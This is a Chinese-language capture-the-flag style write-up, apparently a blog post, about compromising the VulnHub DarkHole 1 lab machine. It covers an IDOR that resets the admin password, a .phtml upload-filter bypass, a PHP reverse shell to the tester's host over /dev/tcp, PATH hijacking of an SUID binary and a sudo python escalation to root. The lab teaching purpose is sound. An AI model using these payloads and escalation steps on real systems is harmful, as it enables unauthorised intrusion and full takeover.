vulnhub-DarkHole 1靶机的测试报告

目录

一、测试环境

1、系统环境

2、使用工具/软件

二、测试目的

三、操作过程

1、信息搜集

2、Getshell

3、提权

四、结论


一、测试环境

1、系统环境

渗透机:kali2021.1(192.168.202.134)

靶  机:Ubuntu 20.04.2 LTS

2、使用工具/软件

Kali:arp-scan(主机探测)、nmap(端口服务探测)、gobuster(扫描目录)、burp suite(修改请求包,越权漏洞;爆破用户名参数)、nc(反弹shell连接)

测试网址:http://192.168.202.149

二、测试目的

渗透目标靶机,通过web网页的越权漏洞修改管理员密码,得到管理员账号;通过管理员页面的文件上传功能,绕过过滤;上传php反弹shell,监听到www-data用户的shell;通过环境变量提权到john用户,拿到john的家目录的信息和第一个flag: user.txt  ;通过一个python文件的可sudo权限提权到root用户,拿到第二个flag:root.txt 。

三、操作过程

1、信息搜集

arp探测主机

arp-scan -l

探测到靶机IP:192.168.202.149

Nmap扫描靶机端口和服务

nmap -A -sS -p- -T4 192.168.202.149

开启了ssh服务(22端口)和web服务(80端口)

gobuster扫描web目录

gobuster dir -u http://192.168.202.149 -w /usr/share/seclists/Discovery/Web-Content/directory-list-1.0.txt -x php,txt,html,jsp

扫描到登录页login.php  注册页register.php  文件上传目录upload 等页面

查看网页信息

主页只有一个login可点击,upload目录只有一张图片,没找到文件上传点

先从登录注册页入手

没有账号,先注册一个

User:ccc

password:123456

登录进去看看,页面很简洁,只有账户信息和更改密码的选项

页面url: http://192.168.202.149/dashboard.php?id=2

发现有id号,且是2  ,那前面应是还有1    ,尝试更改密码抓包,看看有没有越权漏洞(对于id号的利用可以进行爆破看看哪个id可用,这里的id很明显有1)

修改post的参数id为1,放包

页面显示密码成功更改了

既然密码知道了,就尝试登录,尝试对用户名爆破

爆破发现用户名就是管理员默认用户

admin/123456

现在可以登录管理员用户了,登录查看,发现多了文件上传点,这是渗透点

2、Getshell

尝试文件上传,提示只允许图片类型(实际上只是过滤了php和html两个后缀名)

尝试绕过,绕过方法很多可以绕过,大小写、php5后缀名 、空格绕过  都可行。但是发现php页面不解析…区分大小写,只认识小写php后缀名,实在找不到解析方法

 

寻找能写php的文件类型,有个phtml文件类型,可解析html和php的混合代码(这个文件依然是要在中间件配置文件中写入可解析的代码才生效,显然这是作者有意留下的)

尝试上传反弹shell

<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.202.134/666 0>&1'"); ?>

成功上传执行并反弹shell到kali上  ,getshell

3、提权

寻找常规提权点

crontab -l
sudo -l
uname -a   
searchsploit linux 5.4

没有什么收获

找suid文件

find / -perm -u=s -type f 2>/dev/null

找到john用户下面有个toto文件是suid文件,尝试用它来提权

查看这个文件的信息

ls -l /home/john/toto

是可执行的文件

执行文件看看

/home/john/toto

发现执行了id命令,接下来尝试对id命令进行环境变量劫持,提权到john用户

在tmp目录创建id文件,赋予执行权限,给tmp文件夹环境变量

Tmp文件夹是临时文件存放的目录,而且所有用户有很大的权限

echo "/bin/bash" > /tmp/id
chmod +x /tmp/id
export PATH="/tmp:$PATH"

export PATH="/tmp:$PATH"    作用是将tmp目录放在环境变量最前面

这样的话运行toto文件执行id命令,就会首先执行/tmp/id文件,获取john的shell

系统会按照$PATH环境变量中定义的顺序,从左到右搜索id 如果$PATH = /tmp:/usr/local/bin:/usr/local/sbin  则会优先搜索 /tmp目录是否存在id

成功获取john用户的shell

先获取一个交互式shell

SHELL=/bin/bash script -q /dev/null

SHELL必须大写

到john家目录看看

有四个文件

password存放john用户的密码   

user.txt是第一个flag:DarkHole{You_Can_DO_It}

File.py是个空文件   

toto是用来提权的文件

寻找提权点,发现file.py文件可以sudo执行,那么

sudo /usr/bin/python3 /home/john/file.py

执行/bin/bash即可获取root权限

给file.py文件写入获取shell的命令

echo "import pty;pty.spawn('/bin/bash');" > file.py

执行提权命令

sudo /usr/bin/python3 /home/john/file.py

成功提权!

在root目录可以找到第二个flag:DarkHole{You_Are_Legend}

四、结论

phtml文件也可以解析php语言,对于Linux文件的权限管理一定要谨慎,suid权限使用不恰当很容易就导致可提权漏洞,对新建的suid文件不能调用系统命令,确保最小权限原则。

密码不能明文保存在文件中,对于普通用户可sudo的文件,不能允许用户有写入权限。否则会导致提权漏洞。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

ccc_9wy

觉得写的好的话就赏杯奶茶喝吧~

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值